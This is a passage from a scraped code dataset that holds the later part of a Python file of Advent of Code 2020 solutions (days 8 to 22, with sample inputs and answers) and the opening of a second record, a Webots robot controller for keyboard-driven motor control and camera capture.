the boot code. Immediately before any instruction is executed a second\n time, what value is in the accumulator? 5'''\n OPERATIONS = dict(\n acc=lambda pc, accumulator, argument: (pc+1, accumulator+int(argument)),\n jmp=lambda pc, accumulator, argument: (pc+int(argument), accumulator),\n nop=lambda pc, accumulator, argument: (pc+1, accumulator)\n )\n pc = 0\n accumulator = 0\n executed = set()\n while pc not in executed:\n executed.add(pc)\n operation, argument = lines[pc].split()\n pc, accumulator = OPERATIONS[operation](pc, accumulator, argument)\n return accumulator\n\n\ndef problem_8_b(lines):\n '''Fix the program so that it terminates normally by changing exactly one jmp (to nop) or \n nop (to jmp). What is the value of the accumulator after the program terminates? 8'''\n def main():\n for program in program_generator():\n result = run(program)\n if result is not None:\n return result\n\n def program_generator():\n for i, line in enumerate(lines):\n if line.startswith('acc'):\n continue\n line = line.replace('jmp', 'nop') if 'jmp' in line else line.replace('nop', 'jmp')\n yield lines[:i] + [line] + lines[i+1:]\n\n def run(program):\n OPERATIONS = dict(\n acc=lambda pc, accumulator, argument: (pc+1, accumulator+int(argument)),\n jmp=lambda pc, accumulator, argument: (pc+int(argument), accumulator),\n nop=lambda pc, accumulator, argument: (pc+1, accumulator)\n )\n pc = 0\n accumulator = 0\n executed = set()\n while pc not in executed:\n executed.add(pc)\n operation, argument = program[pc].split()\n pc, accumulator = OPERATIONS[operation](pc, accumulator, argument)\n if pc == len(program):\n return accumulator\n return None\n\n return main()\n\n\n###\n## DAY 9: Encryption\n#\n\nIN_9 = \\\n'''20\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n21\n22\n23\n24\n25\n45\n65'''\n\n\ndef problem_9_a(lines):\n '''The first step of attacking the weakness in the XMAS data is to find the first number in\n the list (after the preamble) which is not the sum of two of the 25 numbers before it. What\n is the first number that does not have this property? 65'''\n import itertools\n\n def is_sum(candidate, numbers):\n return any(a + b == candidate for a, b in itertools.combinations(numbers, 2))\n\n numbers = [int(line) for line in lines]\n for i in range(25, len(numbers)):\n if not is_sum(numbers[i], numbers[i-25:i]):\n return numbers[i]\n\n\ndef problem_9_b(lines):\n '''What is the encryption weakness in your XMAS-encrypted list of numbers? 21'''\n invalid_number = problem_9_a(lines)\n numbers = [int(line) for line in lines]\n for i in range(len(numbers)):\n for j in range(i+2, len(numbers)):\n sum_ = sum(numbers[i:j])\n if sum_ == invalid_number:\n return min(numbers[i:j]) + max(numbers[i:j])\n elif sum_ > invalid_number:\n break\n\n\n###\n## DAY 10: Adapters\n#\n\nIN_10 = \\\n'''28\n33\n18\n42\n31\n14\n46\n20\n48\n47\n24\n23\n49\n45\n19\n38\n39\n11\n1\n32\n25\n35\n8\n17\n7\n9\n4\n2\n34\n10\n3'''\n\n\ndef problem_10_a(lines):\n '''What is the number of 1-jolt differences multiplied by the number of 3-jolt differences?\n 220'''\n numbers = [0] + sorted(int(a) for a in lines)\n deltas = [b-a for a, b in zip(numbers, numbers[1:])]\n return deltas.count(1) * (deltas.count(3)+1)\n\n\ndef problem_10_b(lines):\n '''What is the total number of distinct ways you can arrange the adapters to connect the \n charging outlet to your device? 19208'''\n import functools, operator as op\n numbers = sorted(int(a) for a in lines)\n numbers = [0] + numbers + [numbers[-1]+3]\n deltas = [b-a for a, b in zip(numbers, numbers[1:])]\n d = ''.join(str(a) for a in deltas)\n dd = [[1, 2, 4, 7, 13, 23][len(a)-1] for a in d.split('3') if a]\n return functools.reduce(op.mul, dd)\n\n\n###\n## DAY 11: Seats\n#\n\nIN_11 = \\\n'''L.LL.LL.LL\nLLLLLLL.LL\nL.L.L..L..\nLLLL.LL.LL\nL.LL.LL.LL\nL.LLLLL.LL\n..L.L.....\nLLLLLLLLLL\nL.LLLLLL.L\nL.LLLLL.LL'''\n\n\ndef problem_11_a(lines):\n '''Simulate your seating area by applying the seating rules repeatedly until no seats\n change state. How many seats end up occupied? 37'''\n import collections\n P = collections.namedtuple('P', 'x y')\n\n def main():\n layout = {P(x, y): ch for y, line in enumerate(lines) for x, ch in enumerate(line)}\n while True:\n new_layout = step(layout)\n if new_layout == layout:\n return list(layout.values()).count('#')\n layout = new_layout\n\n def step(layout):\n out = dict(layout)\n for p, ch in layout.items():\n adjecent_chars = [layout.get(a) for a in get_adjecent_positions(p)]\n if ch == 'L' and '#' not in adjecent_chars:\n out[p] = '#'\n elif ch == '#' and adjecent_chars.count('#') >= 4:\n out[p] = 'L'\n return out\n\n def get_adjecent_positions(p):\n DELTAS = [P(-1, -1), P(0, -1), P(1, -1), P(-1, 0), P(1, 0), P(-1, 1), P(0, 1), P(1, 1)]\n return (P(p.x + dx, p.y + dy) for dx, dy in DELTAS)\n\n return main()\n\n\ndef problem_11_b(lines):\n '''Given the new visibility method and the rule change for occupied seats becoming empty, \n once equilibrium is reached, how many seats end up occupied? 26'''\n import collections\n P = collections.namedtuple('P', 'x y')\n\n layout = {P(x, y): ch for y, line in enumerate(lines) for x, ch in enumerate(line)}\n\n def main():\n nonlocal layout\n while True:\n new_layout = {p: get_new_ch(p, ch) for p, ch in layout.items()}\n if new_layout == layout:\n return list(layout.values()).count('#')\n layout = new_layout\n\n def get_new_ch(p, ch):\n DIRECTIONS = [P(-1, -1), P(0, -1), P(1, -1), P(-1, 0), P(1, 0), P(-1, 1), P(0, 1),\n P(1, 1)]\n visible_chairs = [get_visible_chair(p, direction) for direction in DIRECTIONS]\n if ch == 'L' and '#' not in visible_chairs:\n return '#'\n elif ch == '#' and visible_chairs.count('#') >= 5:\n return 'L'\n return ch\n\n def get_visible_chair(p, direction):\n while p in layout:\n p = P(p.x + direction.x, p.y + direction.y)\n if p in layout and layout[p] in 'L#':\n return layout[p]\n\n return main()\n\n\n###\n## DAY 12: Navigation\n#\n\nIN_12 = \\\n'''F10\nN3\nF7\nR90\nF11'''\n\n\ndef problem_12_a(lines):\n '''Figure out where the navigation instructions lead. What is the Manhattan distance \n between that location and the ship's starting position? 25'''\n import collections, enum\n\n P = collections.namedtuple('P', 'x y')\n D = enum.Enum('D', 'n e s w')\n\n def main():\n p, d = P(0, 0), D.e\n for line in lines:\n p, d = step(p, d, line)\n return abs(p.x) + abs(p.y)\n\n def step(p, d, line):\n DELTAS = {D.n: P(0, 1), D.e: P(1, 0), D.s: P(0, -1), D.w: P(-1, 0)}\n ACTIONS = dict(\n N=lambda p, d, arg: (P(p.x, p.y+arg), d),\n S=lambda p, d, arg: (P(p.x, p.y-arg), d),\n E=lambda p, d, arg: (P(p.x+arg, p.y), d),\n W=lambda p, d, arg: (P(p.x-arg, p.y), d),\n L=lambda p, d, arg: (p, turn(d, -arg)),\n R=lambda p, d, arg: (p, turn(d, arg)),\n F=lambda p, d, arg: (P(p.x + DELTAS[d].x*arg, p.y + DELTAS[d].y*arg), d)\n )\n action_id, arg = line[0], int(line[1:])\n return ACTIONS[action_id](p, d, arg)\n\n def turn(d, degrees):\n directions = list(D)\n index = (directions.index(d) + degrees//90) % len(directions)\n return directions[index]\n\n return main()\n\n\ndef problem_12_b(lines):\n '''Figure out where the navigation instructions actually lead. What is the Manhattan \n distance between that location and the ship's starting position? 286'''\n import collections\n P = collections.namedtuple('P', 'x y')\n\n def main():\n p, waypoint = P(0, 0), P(10, 1)\n for line in lines:\n p, waypoint = step(p, waypoint, line)\n return abs(p.x) + abs(p.y)\n\n def step(p, waypoint, line):\n ACTIONS = dict(\n N=lambda p, waypoint, arg: (p, P(waypoint.x, waypoint.y+arg)),\n S=lambda p, waypoint, arg: (p, P(waypoint.x, waypoint.y-arg)),\n E=lambda p, waypoint, arg: (p, P(waypoint.x+arg, waypoint.y)),\n W=lambda p, waypoint, arg: (p, P(waypoint.x-arg, waypoint.y)),\n L=lambda p, waypoint, arg: (p, turn(waypoint, -arg)),\n R=lambda p, waypoint, arg: (p, turn(waypoint, arg)),\n F=lambda p, waypoint, arg: (P(p.x + waypoint.x*arg, p.y + waypoint.y*arg), \n waypoint)\n )\n action_id, arg = line[0], int(line[1:])\n return ACTIONS[action_id](p, waypoint, arg)\n\n def turn(waypoint, degrees):\n degrees += 360 if degrees < 0 else 0\n TURN = {90: P(x=waypoint.y, y=-waypoint.x),\n 180: P(x=-waypoint.x, y=-waypoint.y), \n 270: P(x=-waypoint.y, y=waypoint.x)}\n return TURN[degrees]\n\n return main()\n\n\n###\n## DAY 13: Buses\n#\n\nIN_13 = \\\n'''939\n7,13,x,x,59,x,31,19'''\n\n\ndef problem_13_a(lines):\n '''What is the ID of the earliest bus you can take to the airport multiplied by the number\n of minutes you'll need to wait for that bus? 295'''\n import itertools\n stamp = int(lines[0])\n ids = [int(a) for a in lines[1].split(',') if a != 'x']\n get_departures = lambda stamp, id_: range(0, stamp+id_, id_)\n timetable = [get_departures(stamp, id_) for id_ in ids]\n departure = min(a for a in itertools.chain.from_iterable(timetable) if a >= stamp)\n id_ = [a for a in ids if departure % a == 0][0]\n return id_ * (departure - stamp)\n\n\ndef problem_13_b(lines):\n '''What is the earliest timestamp such that all of the listed bus IDs depart at offsets \n matching their positions in the list? 1068781'''\n buses = [(offset, int(id_)) for offset, id_ in enumerate(lines[1].split(','))\n if id_ != 'x']\n stamp = 0\n least_common_multiple = 1\n for offset, id_ in buses:\n while (stamp + offset) % id_ != 0:\n stamp += least_common_multiple\n least_common_multiple *= id_\n return stamp\n\n\n###\n## DAY 14: Bitmasks\n#\n\nIN_14 = \\\n'''mask = 000000000000000000000000000000X1001X\nmem[42] = 100\nmask = 00000000000000000000000000000000X0XX\nmem[26] = 1'''\n\n\ndef problem_14_a(lines):\n '''Execute the initialization program. What is the sum of all values left in memory after \n it completes? 51'''\n import re\n\n def get_word(val, mask):\n bin_val = bin(int(val))[2:]\n bin_val_padded = '0' * (len(mask)-len(bin_val)) + bin_val\n return ''.join(a if m == 'X' else m for a, m in zip(bin_val_padded, mask))\n\n mem = {}\n for line in lines:\n if line.startswith('mask'):\n _, mask = line.split(' = ')\n continue\n addr, val = re.search('\\[(\\d+)\\] = (\\d+)', line).groups()\n mem[addr] = get_word(val, mask)\n return sum(int(a, 2) for a in mem.values())\n\n\ndef problem_14_b(lines):\n '''Execute the initialization program using an emulator for a version 2 decoder chip. What\n is the sum of all values left in memory after it completes? 208'''\n import itertools, re\n\n def address_generator(addr, mask):\n bin_addr = bin(int(addr))[2:]\n bin_addr_padded = '0' * (len(mask)-len(bin_addr)) + bin_addr\n addr_template = ''.join(a if m == '0' else m for a, m in zip(bin_addr_padded, mask))\n for floating_bits in itertools.product('01', repeat=addr_template.count('X')):\n floating_bits = iter(floating_bits)\n yield ''.join(next(floating_bits) if ch == 'X' else ch for ch in addr_template)\n\n mem = {}\n for line in lines:\n if line.startswith('mask'):\n _, mask = line.split(' = ')\n continue\n addr, val = re.search('\\[(\\d+)\\] = (\\d+)', line).groups()\n for address in address_generator(addr, mask):\n mem[address] = val\n return sum(int(a) for a in mem.values())\n\n\n###\n## DAY 15: Numbers Game\n#\n\nIN_15 = \\\n'''0,3,6'''\n\n\ndef problem_15_a(lines):\n '''Given your starting numbers, what will be the 2020th number spoken? 436'''\n *record, last_spoken = [int(a) for a in lines[0].split(',')]\n for _ in range(len(record)+1, 2020):\n delta = list(reversed(record)).index(last_spoken) + 1 if last_spoken in record else 0\n record.append(last_spoken)\n last_spoken = delta\n return last_spoken\n\n\ndef problem_15_b(lines):\n '''Given your starting numbers, what will be the 30000000th number spoken? 175594'''\n *record, last_spoken = [int(a) for a in lines[0].split(',')]\n record = {a: record.index(a)+1 for a in record}\n for i in range(len(record)+1, 30000000):\n delta = i - record[last_spoken] if last_spoken in record else 0\n record[last_spoken] = i\n last_spoken = delta\n return last_spoken\n\n\n###\n## DAY 16: Tickets\n#\n\nIN_16 = \\\n'''class: 1-3 or 5-7\nrow: 6-11 or 33-44\ndeparture: 13-40 or 45-50\n\nyour ticket:\n7,1,14\n\nnearby tickets:\n7,3,47\n40,4,50\n55,2,20\n38,6,12'''\n\n\ndef problem_16_a(lines):\n '''Consider the validity of the nearby tickets you scanned. What is your ticket scanning\n error rate? 71'''\n def get_valid_ranges(field):\n for range_ in field.split(': ')[1].split(' or '):\n start, stop = [int(a) for a in range_.split('-')]\n yield range(start, stop+1)\n\n fields, _, nerby_tickets = [a.split('\\r') for a in '\\r'.join(lines).split('\\r\\r')]\n valid_ranges = [range_ for f in fields for range_ in get_valid_ranges(f)]\n is_valid = lambda value: any(value in a for a in valid_ranges)\n values = [int(a) for a in ','.join(nerby_tickets[1:]).split(',')]\n return sum(a for a in values if not is_valid(a))\n\n\ndef problem_16_b(lines):\n '''Once you work out which field is which, look for the six fields on your ticket that\n start with the word departure. What do you get if you multiply those six values\n together? 14'''\n import functools, operator as op, re\n\n def main():\n fields, your_ticket, nerby_tickets = \\\n [a.split('\\r') for a in '\\r'.join(lines).split('\\r\\r')]\n field_values = get_field_values(fields)\n tickets = get_valid_tickets(field_values, your_ticket[1:] + nerby_tickets[1:])\n out = {i: set(field_values.keys()) for i in range(len(tickets[0]))}\n purge_solutions(out, field_values, tickets)\n while any(len(fields) > 1 for fields in out.values()):\n remove_solved_fields(out)\n indices = [i for i, fields in out.items() if 'departure' in next(iter(fields))]\n return functools.reduce(op.mul, (tickets[0][i] for i in indices))\n\n def get_field_values(fields):\n def get_item(field):\n name, a, b, c, d = re.match('^(.*): (\\d+)-(\\d+) or (\\d+)-(\\d+)', field).groups()\n return name, set(range(int(a), int(b)+1)) | set(range(int(c), int(d)+1))\n return dict(get_item(field) for field in fields)\n\n def get_valid_tickets(field_values, tickets):\n valid_values = functools.reduce(op.or_, field_values.values())\n tickets = [[int(a) for a in t.split(',')] for t in tickets]\n return tuple(t for t in tickets if set(t) <= valid_values)\n\n def purge_solutions(out, field_values, tickets):\n get_column = lambda i: [a[i] for a in tickets]\n for col_index in range(len(tickets[0])):\n for val in get_column(col_index):\n for field_name, values in field_values.items():\n if val not in values:\n out[col_index] -= {field_name}\n\n def remove_solved_fields(out):\n solved_fields = {next(iter(fields)) for fields in out.values() if len(fields) == 1}\n for possible_fields in out.values():\n possible_fields -= solved_fields if len(possible_fields) > 1 else set()\n\n return main()\n\n\n###\n## DAY 17: Cubes\n#\n\nIN_17 = \\\n'''.#.\n..#\n###'''\n\n\ndef problem_17_a(lines):\n '''Starting with your given initial configuration, simulate six cycles. How many cubes are\n left in the active state after the sixth cycle? 112'''\n import collections, itertools\n P = collections.namedtuple('P', 'x y z')\n\n def get_neighbours(p):\n DELTAS = set(itertools.product([-1, 0, 1], repeat=3)) - {(0, 0, 0)}\n return {P(p.x + dx, p.y + dy, p.z + dz) for dx, dy, dz in DELTAS}\n\n def should_be_active(p):\n n_active_neighbours = len(get_neighbours(p) & cubes)\n return (p in cubes and 2 <= n_active_neighbours <= 3) or \\\n (p not in cubes and n_active_neighbours == 3)\n\n cubes = {P(x, y, 0) for y, line in enumerate(lines)\n for x, ch in enumerate(line) if ch == '#'}\n for _ in range(6):\n candidates = {p for cube in cubes for p in get_neighbours(cube)}\n cubes = {p for p in candidates if should_be_active(p)}\n return len(cubes)\n\n\ndef problem_17_b(lines):\n '''Starting with your given initial configuration, simulate six cycles in a 4-dimensional\n space. How many cubes are left in the active state after the sixth cycle? 848'''\n import collections, itertools\n P = collections.namedtuple('P', 'x y z w')\n\n def get_neighbours(p):\n DELTAS = set(itertools.product([-1, 0, 1], repeat=4)) - {(0, 0, 0, 0)}\n return {P(p.x+dx, p.y+dy, p.z+dz, p.w+dw) for dx, dy, dz, dw in DELTAS}\n\n def should_be_active(p):\n n_active_neighbours = len(get_neighbours(p) & cubes)\n return (p in cubes and 2 <= n_active_neighbours <= 3) or \\\n (p not in cubes and n_active_neighbours == 3)\n\n cubes = {P(x, y, 0, 0) for y, line in enumerate(lines)\n for x, ch in enumerate(line) if ch == '#'}\n for _ in range(6):\n candidates = {p for cube in cubes for p in get_neighbours(cube)}\n cubes = {p for p in candidates if should_be_active(p)}\n return len(cubes)\n\n\n###\n## DAY 18: Equations\n#\n\nIN_18 = \\\n'''5 + (8 * 3 + 9 + 3 * 4 * 3)'''\n\n\ndef problem_18_a(lines):\n '''Before you can help with the homework, you need to understand it yourself. Evaluate the\n expression on each line of the homework; what is the sum of the resulting values? 437'''\n import operator as op, re\n\n def calculate_line(line):\n while '(' in line:\n line = re.sub('\\(([^()]*?)\\)', lambda m: calculate(m.group(1)), line) \n return int(calculate(line))\n\n def calculate(s):\n out, op_ = 0, op.add\n for el in s.split():\n if el.isdigit():\n out = op_(out, int(el))\n else:\n op_ = op.add if el == '+' else op.mul \n return str(out) \n\n return sum(calculate_line(line) for line in lines)\n\n\ndef problem_18_b(lines):\n '''What do you get if you add up the results of evaluating the homework problems using\n these new rules? 1445'''\n import operator as op, re\n\n def calculate(s):\n while '(' in s:\n s = re.sub('\\(([^()]*?)\\)', lambda m: calculate(m.group(1)), s)\n while '+' in s:\n s = re.sub('(\\d+) \\+ (\\d+)', lambda m: str(int(m.group(1)) + int(m.group(2))), s)\n while '*' in s:\n s = re.sub('(\\d+) \\* (\\d+)', lambda m: str(int(m.group(1)) * int(m.group(2))), s)\n return s\n\n return sum(int(calculate(line)) for line in lines)\n\n\n###\n## DAY 19: Grammar Rules\n#\n\nIN_19 = \\\n'''42: 9 14 | 10 1\n9: 14 27 | 1 26\n10: 23 14 | 28 1\n1: \"a\"\n11: 42 31\n5: 1 14 | 15 1\n19: 14 1 | 14 14\n12: 24 14 | 19 1\n16: 15 1 | 14 14\n31: 14 17 | 1 13\n6: 14 14 | 1 14\n2: 1 24 | 14 4\n0: 8 11\n13: 14 3 | 1 12\n15: 1 | 14\n17: 14 2 | 1 7\n23: 25 1 | 22 14\n28: 16 1\n4: 1 1\n20: 14 14 | 1 15\n3: 5 14 | 16 1\n27: 1 6 | 14 18\n14: \"b\"\n21: 14 1 | 1 14\n25: 1 1 | 1 14\n22: 14 14\n8: 42\n26: 14 22 | 1 20\n18: 15 15\n7: 14 5 | 1 21\n24: 14 1\n\nabbbbbabbbaaaababbaabbbbabababbbabbbbbbabaaaa\nbbabbbbaabaabba\nbabbbbaabbbbbabbbbbbaabaaabaaa\naaabbbbbbaaaabaababaabababbabaaabbababababaaa\nbbbbbbbaaaabbbbaaabbabaaa\nbbbababbbbaaaaaaaabbababaaababaabab\nababaaaaaabaaab\nababaaaaabbbaba\nbaabbaaaabbaaaababbaababb\nabbbbabbbbaaaababbbbbbaaaababb\naaaaabbaabaaaaababaa\naaaabbaaaabbaaa\naaaabbaabbaaaaaaabbbabbbaaabbaabaaa\nbabaaabbbaaabaababbaabababaaab\naabbbbbaabbbaaaaaabbbbbababaaaaabbaaabba'''\n\n\ndef problem_19_a(lines):\n '''How many messages completely match rule 0? 3'''\n def parse_rule(line):\n id_, value = line.split(': ')\n if '\"' in value:\n return id_, value.strip('\"')\n return id_, [a.split() for a in value.split('|')]\n\n def is_valid(message, so_far, rule_id):\n subrules = rules[rule_id]\n if type(subrules) == str:\n return so_far + subrules if message.startswith(so_far + subrules) else False\n elif len(subrules) == 1:\n tmp = so_far\n for subrule in subrules[0]:\n tmp = is_valid(message, tmp, subrule)\n if tmp == False:\n return False\n return message == tmp if rule_id == '0' else tmp\n else:\n for s in subrules:\n tmp = so_far\n for subrule in s:\n tmp = is_valid(message, tmp, subrule)\n if tmp == False:\n break\n if tmp:\n return tmp\n return False\n\n rule_lines, messages = [a.split('\\r') for a in '\\r'.join(lines).split('\\r\\r')]\n rules = dict(parse_rule(l) for l in rule_lines)\n return sum(is_valid(m, '', '0') for m in messages)\n\n\ndef problem_19_b(lines):\n '''After updating rules 8 and 11, how many messages completely match rule 0? 12'''\n def parse_rule(line):\n id_, value = line.split(': ')\n if '\"' in value:\n return int(id_), value\n return int(id_), [[int(a) for a in v.split()] for v in value.split('|')]\n\n def is_valid(message, seq):\n if message == '' or seq == []:\n return message == '' and seq == []\n rule = rules[seq[0]]\n if '\"' in rule:\n return is_valid(message[1:], seq[1:]) if message[0] in rule else False\n else:\n return any(is_valid(message, r + seq[1:]) for r in rule)\n\n rule_lines, messages = [a.split('\\r') for a in '\\r'.join(lines).split('\\r\\r')]\n rule_lines += ['8: 42 | 42 8', '11: 42 31 | 42 11 31']\n rules = dict(parse_rule(l) for l in rule_lines)\n return sum(is_valid(m, [0]) for m in messages)\n\n\n###\n## DAY 20: Tiles\n#\n\nIN_20 = \\\n'''Tile 2311:\n..##.#..#.\n##..#.....\n#...##..#.\n####.#...#\n##.##.###.\n##...#.###\n.#.#.#..##\n..#....#..\n###...#.#.\n..###..###\n\nTile 1951:\n#.##...##.\n#.####...#\n.....#..##\n#...######\n.##.#....#\n.###.#####\n###.##.##.\n.###....#.\n..#.#..#.#\n#...##.#..\n\nTile 1171:\n####...##.\n#..##.#..#\n##.#..#.#.\n.###.####.\n..###.####\n.##....##.\n.#...####.\n#.##.####.\n####..#...\n.....##...\n\nTile 1427:\n###.##.#..\n.#..#.##..\n.#.##.#..#\n#.#.#.##.#\n....#...##\n...##..##.\n...#.#####\n.#.####.#.\n..#..###.#\n..##.#..#.\n\nTile 1489:\n##.#.#....\n..##...#..\n.##..##...\n..#...#...\n#####...#.\n#..#.#.#.#\n...#.#.#..\n##.#...##.\n..##.##.##\n###.##.#..\n\nTile 2473:\n#....####.\n#..#.##...\n#.##..#...\n######.#.#\n.#...#.#.#\n.#########\n.###.#..#.\n########.#\n##...##.#.\n..###.#.#.\n\nTile 2971:\n..#.#....#\n#...###...\n#.#.###...\n##.##..#..\n.#####..##\n.#..####.#\n#..#.#..#.\n..####.###\n..#.#.###.\n...#.#.#.#\n\nTile 2729:\n...#.#.#.#\n####.#....\n..#.#.....\n....#..#.#\n.##..##.#.\n.#.####...\n####.#.#..\n##.####...\n##..#.##..\n#.##...##.\n\nTile 3079:\n#.#.#####.\n.#..######\n..#.......\n######....\n####.#..#.\n.#...#.##.\n#.#####.##\n..#.###...\n..#.......\n..#.###...'''\n\n\ndef problem_20_a(lines):\n '''Assemble the tiles into an image. What do you get if you multiply together the IDs of\n the four corner tiles? 20899048083289'''\n import collections\n\n def get_tile(tile_lines):\n Tile = collections.namedtuple('Tile', 'id sides')\n id_, *rows = tile_lines\n sides = [rows[0], ''.join(r[-1] for r in rows), rows[-1], ''.join(r[0] for r in rows)]\n sides += [''.join(reversed(a)) for a in sides]\n return Tile(int(id_[-5:-1]), sides)\n\n def count_sides(tiles):\n side_counter = collections.Counter()\n for tile in tiles:\n for side in tile.sides:\n side_counter[side] += 1\n return side_counter\n\n tiles_lines = [a.split('\\r') for a in '\\r'.join(lines).split('\\r\\r')]\n tiles = [get_tile(tile_lines) for tile_lines in tiles_lines]\n side_counter = count_sides(tiles)\n\n out = 1\n for tile in tiles:\n if sum(side_counter[side] == 1 for side in tile.sides) == 4:\n out *= tile.id\n return out\n\n\n###\n## DAY 21: Allergens\n#\n\nIN_21 = \\\n'''mxmxvkd kfcds sqjhc nhms (contains dairy, fish)\ntrh fvjkl sbzzf mxmxvkd (contains dairy)\nsqjhc fvjkl (contains soy)\nsqjhc mxmxvkd sbzzf (contains fish)'''\n\n\ndef problem_21_a(lines):\n '''Determine which ingredients cannot possibly contain any of the allergens in your list.\n How many times do any of those ingredients appear? 5'''\n import collections, functools, itertools, operator as op, re\n\n def get_food(line):\n ingreds, allergs = re.match('^(.*) \\(contains (.*)\\)$', line).groups()\n return set(ingreds.split()), set(allergs.split(', '))\n\n foods = tuple(get_food(line) for line in lines)\n ingredient_counter = collections.Counter(i for ingreds, _ in foods for i in ingreds)\n ingredients = functools.reduce(op.or_, (ingreds for ingreds, _ in foods))\n allergens = functools.reduce(op.or_, (allergs for _, allergs in foods))\n out = dict.fromkeys(ingredients, None)\n allergen_cycle = itertools.cycle(allergens)\n \n while any(allergs for _, allergs in foods):\n allergen = next(allergen_cycle)\n candidate_ingreds = [ingreds for ingreds, allergs in foods if allergen in allergs]\n if not candidate_ingreds:\n continue\n intersection = functools.reduce(op.and_, candidate_ingreds)\n if len(intersection) != 1:\n continue\n ingredient = intersection.pop()\n out[ingredient] = allergen\n for ingreds, allergs in foods:\n ingreds.discard(ingredient)\n allergs.discard(allergen)\n\n ingredients_without_allergens = [ingred for ingred, allerg in out.items() if not allerg]\n return sum(ingredient_counter[a] for a in ingredients_without_allergens)\n\n\ndef problem_21_b(lines):\n '''Time to stock your raft with supplies. What is your canonical dangerous ingredient\n list? mxmxvkd,sqjhc,fvjkl'''\n import collections, functools, itertools, operator as op, re\n\n def get_food(line):\n ingreds, allergs = re.match('^(.*) \\(contains (.*)\\)$', line).groups()\n return set(ingreds.split()), set(allergs.split(', '))\n\n foods = tuple(get_food(line) for line in lines)\n ingredient_counter = collections.Counter(i for ingreds, _ in foods for i in ingreds)\n ingredients = functools.reduce(op.or_, (ingreds for ingreds, _ in foods))\n allergens = functools.reduce(op.or_, (allergs for _, allergs in foods))\n out = dict.fromkeys(ingredients, None)\n allergen_cycle = itertools.cycle(allergens)\n \n while any(allergs for _, allergs in foods):\n allergen = next(allergen_cycle)\n candidate_ingreds = [ingreds for ingreds, allergs in foods if allergen in allergs]\n if not candidate_ingreds:\n continue\n intersection = functools.reduce(op.and_, candidate_ingreds)\n if len(intersection) != 1:\n continue\n ingredient = intersection.pop()\n out[ingredient] = allergen\n for ingreds, allergs in foods:\n ingreds.discard(ingredient)\n allergs.discard(allergen)\n\n ingredients_with_allergens = [(ingred, allerg) for ingred, allerg in out.items() if allerg]\n return ','.join(a for a, _ in sorted(ingredients_with_allergens, key=op.itemgetter(1)))\n\n\n###\n## DAY 22: Game of Combat\n#\n\nIN_22 = \\\n'''Player 1:\n9\n2\n6\n3\n1\n\nPlayer 2:\n5\n8\n4\n7\n10'''\n\n\ndef problem_22_a(lines):\n '''Play the small crab in a game of Combat using the two decks you just dealt. What is the\n winning player's score? 306'''\n import collections, itertools\n get_deck = lambda cards: collections.deque(int(card) for card in cards)\n deck_1, deck_2 = (get_deck(a.split('\\r')[1:]) for a in '\\r'.join(lines).split('\\r\\r'))\n while deck_1 and deck_2:\n card_1, card_2 = deck_1.popleft(), deck_2.popleft()\n if card_1 > card_2:\n deck_1.extend([card_1, card_2])\n else:\n deck_2.extend([card_2, card_1])\n winning_deck = deck_1 if deck_1 else deck_2\n return sum(a*b for a, b in zip(reversed(winning_deck), itertools.count(1)))\n\n\n# ###\n# ## DAY X\n# #\n#\n# IN_X = \\\n# ''''''\n#\n#\n# def problem_X_a(lines):\n# ''''''\n#\n#\n# def problem_X_b(lines):\n# ''''''\n\n\n###\n## MAIN\n# \n\nif __name__ == '__main__':\n main()\n","sub_path":"advent_2020.py","file_name":"advent_2020.py","file_ext":"py","file_size_in_byte":38463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"512045277","text":"from controller import Robot\nfrom controller import Keyboard\nimport numpy as np\nimport struct\nimport cv2\nfrom cv2 import imwrite\nimport time\nimport os\n\n\nclass PDcontroller:\n def __init__(self, p, d, sampling_period, target=0.0):\n self.target = target\n self.response = 0.0\n self.old_error = 0.0\n self.p = p\n self.d = d\n self.sampling_period = sampling_period\n\n def process_measurement(self, measurement):\n error = self.target - measurement\n derivative = (error - self.old_error)/self.sampling_period\n self.old_error = error\n self.response = self.p*error + self.d*derivative\n return self.response\n\n def reset(self):\n self.target = 0.0\n self.response = 0.0\n self.old_error = 0.0\n\n\nclass MotorController:\n\n def __init__(self, name, pd):\n self.name = name\n self.pd = pd\n self.motor = None\n self.velocity = 0.0\n\n def enable(self):\n self.motor = robot.getDevice(self.name)\n self.motor.setPosition(float('inf'))\n self.motor.setVelocity(0.0)\n\n def update(self):\n self.velocity += self.pd.process_measurement(self.motor.getVelocity())\n self.motor.setVelocity(self.velocity)\n\n def set_target(self, target):\n self.pd.target = target\n\n def emergency_break(self):\n self.motor.setVelocity(0.0)\n self.pd.reset()\n\n\nclass MotorCommand:\n\n def __init__(self, left_velocity, right_velocity, emergency_break=False):\n self.left_velocity = left_velocity\n self.right_velocity = right_velocity\n self.emergency_break = emergency_break\n\n\n# CONSTANTS\nCRUISING_SPEED = 5.0\nTURN_SPEED = CRUISING_SPEED/2.0\nTIME_STEP = 64\nTIME_STEP_SECONDS = TIME_STEP/1000\nCAMERA_CHANNELS = 4\n\nmotor_commands = {\n ord('W'): MotorCommand(CRUISING_SPEED, CRUISING_SPEED),\n ord('X'): MotorCommand(-CRUISING_SPEED, -CRUISING_SPEED),\n ord('A'): MotorCommand(-TURN_SPEED, TURN_SPEED),\n ord('D'): MotorCommand(TURN_SPEED, -TURN_SPEED),\n ord('S'): MotorCommand(0.0, 0.0),\n ord('E'): MotorCommand(0.0, 0.0, True)\n}\n\n\ndef get_frame(camera):\n frame = camera.getImage()\n if frame is None:\n None\n chunk = camera.getWidth()*camera.getHeight()*CAMERA_CHANNELS\n transformed = struct.unpack(str(chunk) + 'B', frame)\n transformed = np.array(transformed, dtype=np.uint8).reshape(camera.getWidth(), camera.getHeight(), CAMERA_CHANNELS)\n transformed = transformed[:, :, 0:3]\n return transformed\n\n\n# INITIALIZATION\nrobot = Robot()\nkeyboard = Keyboard()\nkeyboard.enable(TIME_STEP)\n\nleft_motor = MotorController('left wheel', PDcontroller(0.01, 0.0001, TIME_STEP_SECONDS))\nright_motor = MotorController('right wheel', PDcontroller(0.01, 0.0001, TIME_STEP_SECONDS))\nleft_motor.enable()\nright_motor.enable()\n\ncamera = robot.getDevice('kinect color')\ncamera.enable(TIME_STEP)\n\n\ndef process_keyboard_control(key):\n if key in motor_commands.keys():\n if motor_commands[key].emergency_break:\n left_motor.emergency_break()\n right_motor.emergency_break()\n else:\n left_motor.set_target(motor_commands[key].left_velocity)\n right_motor.set_target(motor_commands[key].right_velocity)\n\n\ndef get_files_number(dir_path):\n 